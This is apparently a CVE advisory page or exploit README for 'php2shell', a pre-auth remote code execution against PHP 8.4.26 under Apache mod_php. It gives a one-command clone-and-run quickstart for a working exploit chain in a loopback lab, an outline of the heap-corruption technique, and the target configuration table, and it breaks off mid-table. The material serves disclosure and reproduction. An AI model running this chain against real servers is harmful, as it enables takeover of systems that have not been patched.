Critical Severity
CVE-2026-109619
Published: Oct 26, 2026
Full 1:1 reproduction of php2shell (CVE-2026-109618 / CVE-2026-109619): pre-auth PHP RCE via session.upload_progress OOM corruption and stale cross-request state. Pinned mod_php 8.4.26 / Apache 2.4.69 aarch64 lab, pure HTTP, heap-layout ASLR bypass, no brute force.
# php2shell — CVE-2026-109618 / CVE-2026-109619: full 1:1 reproduction
A pure-HTTP, pre-auth RCE against the pinned PHP 8.4.26 + Apache mod_php image. The release-level row runs on the image's own **`php.ini-production`**: `display_errors=Off`, `memory_limit=128M`, `post_max_size=8M`, `output_buffering=4096`, and `expose_php=On`. No PHP INI is mounted, replaced, or edited for that row.
Release row, fresh Compose target, 3/3 consecutive runs:
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## Quickstart
One command after cloning:
```bash
git clone https://github.com/Pattingbabies/php2shell-CVE-2026-109618-109619.git \
&& cd php2shell-CVE-2026-109618-109619 \
&& make demo
```
`make demo` starts the pinned image on `127.0.0.1:8098`, copies the image's stock `php.ini-production` into place inside the container, runs the production chain, and prints the worker's `uid`. Requirements: Docker with Compose, Python 3.10+, and an arm64 host for the release row; the amd64 row needs an amd64-capable runtime or emulation. The target is bound to loopback.
To stop and remove the lab:
```bash
make down
```
## Release-level row
The image is the vulnerable artifact. The PHP configuration is the image's stock production file; the added Apache configurations only control the worker harness. Two stock harnesses are measured: one prefork child for the consecutive release run, and two prefork children for the replay row.
| Layer | Shipped value |
|---|---|
| Image | `php:8.4.26-apache@sha256:60111400ff77bdc44fa79b4f072afe49a42abba71e0846ad496be4761dc9c11a` |
| SAPI | mod_php, Apache 2.4.69, prefork |
| PHP INI | `/usr/local/etc/php/php.ini-production` from the image; no PHP INI mount |
| Errors | `display_errors=Off`, `display_startup_errors=Off` |
| Memory | `memory_limit=128M`, `post_max_size=8M` |
| Output | `output_buffering=4096` (image file; Apache request path) |
| Uploads | `session.upload_progress.enabled=On`, files s